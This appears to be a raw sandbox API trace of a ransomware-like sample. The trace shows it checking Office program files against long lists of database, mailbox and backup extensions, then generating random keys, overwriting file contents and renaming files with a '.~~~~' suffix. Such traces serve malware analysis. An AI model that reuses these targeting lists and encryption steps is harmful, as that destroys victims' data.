	[0080.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0080.415] lstrlenW (lpString=".sqb") returned 4
	[0080.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".sqb") returned 0x0
	[0080.415] lstrlenW (lpString=".ost") returned 4
	[0080.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".ost") returned 0x0
	[0080.415] lstrlenW (lpString=".txt") returned 4
	[0080.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".txt") returned 0x0
	[0080.416] lstrlenW (lpString=".mdt") returned 4
	[0080.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".mdt") returned 0x0
	[0080.416] lstrlenW (lpString=".BDB") returned 4
	[0080.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".BDB") returned 0x0
	[0080.416] lstrlenW (lpString=".eql") returned 4
	[0080.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".eql") returned 0x0
	[0080.416] lstrlenW (lpString=".DBF") returned 4
	[0080.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".DBF") returned 0x0
	[0080.416] lstrlenW (lpString=".EQL") returned 4
	[0080.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".EQL") returned 0x0
	[0080.416] lstrlenW (lpString=".FDB") returned 4
	[0080.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".FDB") returned 0x0
	[0080.416] lstrlenW (lpString=".EDB") returned 4
	[0080.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".EDB") returned 0x0
	[0080.416] lstrlenW (lpString=".DACPAC") returned 7
	[0080.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".DACPAC") returned 0x0
	[0080.416] lstrlenW (lpString=".VHD") returned 4
	[0080.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".VHD") returned 0x0
	[0080.417] lstrlenW (lpString=".DBV") returned 4
	[0080.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".DBV") returned 0x0
	[0080.417] lstrlenW (lpString=".dacpac") returned 7
	[0080.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".dacpac") returned 0x0
	[0080.417] lstrlenW (lpString=".sdf") returned 4
	[0080.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".sdf") returned 0x0
	[0080.417] lstrlenW (lpString=".accdb") returned 6
	[0080.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".accdb") returned 0x0
	[0080.417] lstrlenW (lpString=".DBX") returned 4
	[0080.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".DBX") returned 0x0
	[0080.417] lstrlenW (lpString=".MDT") returned 4
	[0080.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".MDT") returned 0x0
	[0080.417] lstrlenW (lpString=".SQB") returned 4
	[0080.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".SQB") returned 0x0
	[0080.417] lstrlenW (lpString=".vhd") returned 4
	[0080.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".vhd") returned 0x0
	[0080.417] lstrlenW (lpString=".bac") returned 4
	[0080.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".bac") returned 0x0
	[0080.417] lstrlenW (lpString=".mdf") returned 4
	[0080.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".mdf") returned 0x0
	[0080.417] lstrlenW (lpString=".BAK") returned 4
	[0080.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".BAK") returned 0x0
	[0080.417] lstrlenW (lpString=".BAC") returned 4
	[0080.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".BAC") returned 0x0
	[0080.417] lstrlenW (lpString=".dbs") returned 4
	[0080.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".dbs") returned 0x0
	[0080.418] lstrlenW (lpString=".vhdx") returned 5
	[0080.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".vhdx") returned 0x0
	[0080.418] lstrlenW (lpString=".NDF") returned 4
	[0080.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".NDF") returned 0x0
	[0080.418] lstrlenW (lpString=".dat") returned 4
	[0080.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".dat") returned 0x0
	[0080.418] lstrlenW (lpString=".DBS") returned 4
	[0080.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".DBS") returned 0x0
	[0080.418] lstrlenW (lpString=".CKP") returned 4
	[0080.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".CKP") returned 0x0
	[0080.418] lstrlenW (lpString=".edb") returned 4
	[0080.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".edb") returned 0x0
	[0080.418] lstrlenW (lpString=".PST") returned 4
	[0080.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".PST") returned 0x0
	[0080.418] lstrlenW (lpString=".dbf") returned 4
	[0080.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".dbf") returned 0x0
	[0080.418] lstrlenW (lpString=".SQL") returned 4
	[0080.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".SQL") returned 0x0
	[0080.418] lstrlenW (lpString=".pst") returned 4
	[0080.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".pst") returned 0x0
	[0080.418] lstrlenW (lpString=".dbv") returned 4
	[0080.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".dbv") returned 0x0
	[0080.418] lstrlenW (lpString=".SDF") returned 4
	[0080.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".SDF") returned 0x0
	[0080.418] lstrlenW (lpString=".dtxs") returned 5
	[0080.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".dtxs") returned 0x0
	[0080.418] lstrlenW (lpString=".db3") returned 4
	[0080.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".db3") returned 0x0
	[0080.419] lstrlenW (lpString=".OST") returned 4
	[0080.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".OST") returned 0x0
	[0080.419] lstrlenW (lpString=".dbx") returned 4
	[0080.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".dbx") returned 0x0
	[0080.419] lstrlenW (lpString=".DB3") returned 4
	[0080.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".DB3") returned 0x0
	[0080.419] lstrlenW (lpString=".DAT") returned 4
	[0080.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".DAT") returned 0x0
	[0080.419] lstrlenW (lpString=".VHDX") returned 5
	[0080.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".VHDX") returned 0x0
	[0080.419] lstrlenW (lpString=".ndf") returned 4
	[0080.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".ndf") returned 0x0
	[0080.419] lstrlenW (lpString=".DB") returned 3
	[0080.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".DB") returned 0x0
	[0080.419] lstrlenW (lpString=".sql") returned 4
	[0080.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".sql") returned 0x0
	[0080.419] lstrlenW (lpString=".MYD") returned 4
	[0080.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".MYD") returned 0x0
	[0080.419] lstrlenW (lpString=".DBT") returned 4
	[0080.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".DBT") returned 0x0
	[0080.419] lstrlenW (lpString=".ACCDB") returned 6
	[0080.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".ACCDB") returned 0x0
	[0080.419] lstrlenW (lpString=".fdb") returned 4
	[0080.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".fdb") returned 0x0
	[0080.419] lstrlenW (lpString=".bak") returned 4
	[0080.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".bak") returned 0x0
	[0080.419] lstrlenW (lpString=".myd") returned 4
	[0080.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".myd") returned 0x0
	[0080.420] lstrlenW (lpString=".DTXS") returned 5
	[0080.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".DTXS") returned 0x0
	[0080.420] lstrlenW (lpString=".ckp") returned 4
	[0080.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".ckp") returned 0x0
	[0080.420] lstrlenW (lpString=".dbt") returned 4
	[0080.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".dbt") returned 0x0
	[0080.420] lstrlenW (lpString=".db") returned 3
	[0080.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".db") returned 0x0
	[0080.420] lstrlenW (lpString=".TXT") returned 4
	[0080.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".TXT") returned 0x0
	[0080.420] lstrlenW (lpString=".MDF") returned 4
	[0080.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".MDF") returned 0x0
	[0080.420] lstrlenW (lpString=".bdb") returned 4
	[0080.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".bdb") returned 0x0
	[0080.420] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0080.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.420] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0080.421] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.421] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0080.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce910
	[0080.421] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20041157522) returned 1
	[0080.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x99c8ed10, dwHighDateTime=0x1d60e1e)) 
	[0080.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0080.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0080.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0080.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bc80
	[0080.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bc80 | out: hHeap=0x300000) returned 1
	[0080.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bbca8
	[0080.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bbca8 | out: hHeap=0x300000) returned 1
	[0080.422] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0080.422] GetLastError () returned 0x0
	[0080.422] GetLastError () returned 0x0
	[0080.422] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0080.423] GetLastError () returned 0x0
	[0080.423] GetLastError () returned 0x0
	[0080.423] ReadFile (in: hFile=0x128, lpBuffer=0x284dfe8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x284dfe8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0080.426] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.426] WriteFile (in: hFile=0x128, lpBuffer=0x284dfe8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x284dfe8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0080.428] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x284dfe8 | out: hHeap=0x300000) returned 1
	[0080.428] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.428] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.428] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.428] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.428] CloseHandle (hObject=0x128) returned 1
	[0080.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bbca8
	[0080.429] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe.~~~~")) returned 1
	[0080.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bbca8 | out: hHeap=0x300000) returned 1
	[0080.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0080.430] GetLastError () returned 0x0
	[0080.430] RtlWakeConditionVariable () returned 0x365f70
	[0080.430] GetCurrentThreadId () returned 0x9f4
	[0080.430] GetCurrentThreadId () returned 0x9f4
	[0080.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fbeb8 | out: hHeap=0x300000) returned 1
	[0080.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bcb8 | out: hHeap=0x300000) returned 1
	[0080.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbeb8
	[0080.430] lstrlenW (lpString=".scr") returned 4
	[0080.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".scr") returned 0x0
	[0080.430] lstrlenW (lpString=".cmd") returned 4
	[0080.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".cmd") returned 0x0
	[0080.430] lstrlenW (lpString=".dll") returned 4
	[0080.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".dll") returned 0x0
	[0080.430] lstrlenW (lpString=".bat") returned 4
	[0080.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".bat") returned 0x0
	[0080.430] lstrlenW (lpString=".cpl") returned 4
	[0080.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".cpl") returned 0x0
	[0080.430] lstrlenW (lpString=".sys") returned 4
	[0080.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".sys") returned 0x0
	[0080.431] lstrlenW (lpString=".msc") returned 4
	[0080.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".msc") returned 0x0
	[0080.431] lstrlenW (lpString=".com") returned 4
	[0080.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".com") returned 0x0
	[0080.431] lstrlenW (lpString=".lnk") returned 4
	[0080.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".lnk") returned 0x0
	[0080.431] lstrlenW (lpString=".msp") returned 4
	[0080.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".msp") returned 0x0
	[0080.431] lstrlenW (lpString=".pif") returned 4
	[0080.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".pif") returned 0x0
	[0080.431] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0080.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0080.432] lstrlenW (lpString=".sqb") returned 4
	[0080.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".sqb") returned 0x0
	[0080.432] lstrlenW (lpString=".ost") returned 4
	[0080.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".ost") returned 0x0
	[0080.432] lstrlenW (lpString=".txt") returned 4
	[0080.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".txt") returned 0x0
	[0080.432] lstrlenW (lpString=".mdt") returned 4
	[0080.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".mdt") returned 0x0
	[0080.432] lstrlenW (lpString=".BDB") returned 4
	[0080.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".BDB") returned 0x0
	[0080.432] lstrlenW (lpString=".eql") returned 4
	[0080.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".eql") returned 0x0
	[0080.432] lstrlenW (lpString=".DBF") returned 4
	[0080.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".DBF") returned 0x0
	[0080.432] lstrlenW (lpString=".EQL") returned 4
	[0080.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".EQL") returned 0x0
	[0080.432] lstrlenW (lpString=".FDB") returned 4
	[0080.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".FDB") returned 0x0
	[0080.432] lstrlenW (lpString=".EDB") returned 4
	[0080.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".EDB") returned 0x0
	[0080.432] lstrlenW (lpString=".DACPAC") returned 7
	[0080.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".DACPAC") returned 0x0
	[0080.432] lstrlenW (lpString=".VHD") returned 4
	[0080.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".VHD") returned 0x0
	[0080.432] lstrlenW (lpString=".DBV") returned 4
	[0080.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".DBV") returned 0x0
	[0080.432] lstrlenW (lpString=".dacpac") returned 7
	[0080.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".dacpac") returned 0x0
	[0080.433] lstrlenW (lpString=".sdf") returned 4
	[0080.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".sdf") returned 0x0
	[0080.433] lstrlenW (lpString=".accdb") returned 6
	[0080.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".accdb") returned 0x0
	[0080.433] lstrlenW (lpString=".DBX") returned 4
	[0080.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".DBX") returned 0x0
	[0080.433] lstrlenW (lpString=".MDT") returned 4
	[0080.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".MDT") returned 0x0
	[0080.433] lstrlenW (lpString=".SQB") returned 4
	[0080.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".SQB") returned 0x0
	[0080.433] lstrlenW (lpString=".vhd") returned 4
	[0080.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".vhd") returned 0x0
	[0080.433] lstrlenW (lpString=".bac") returned 4
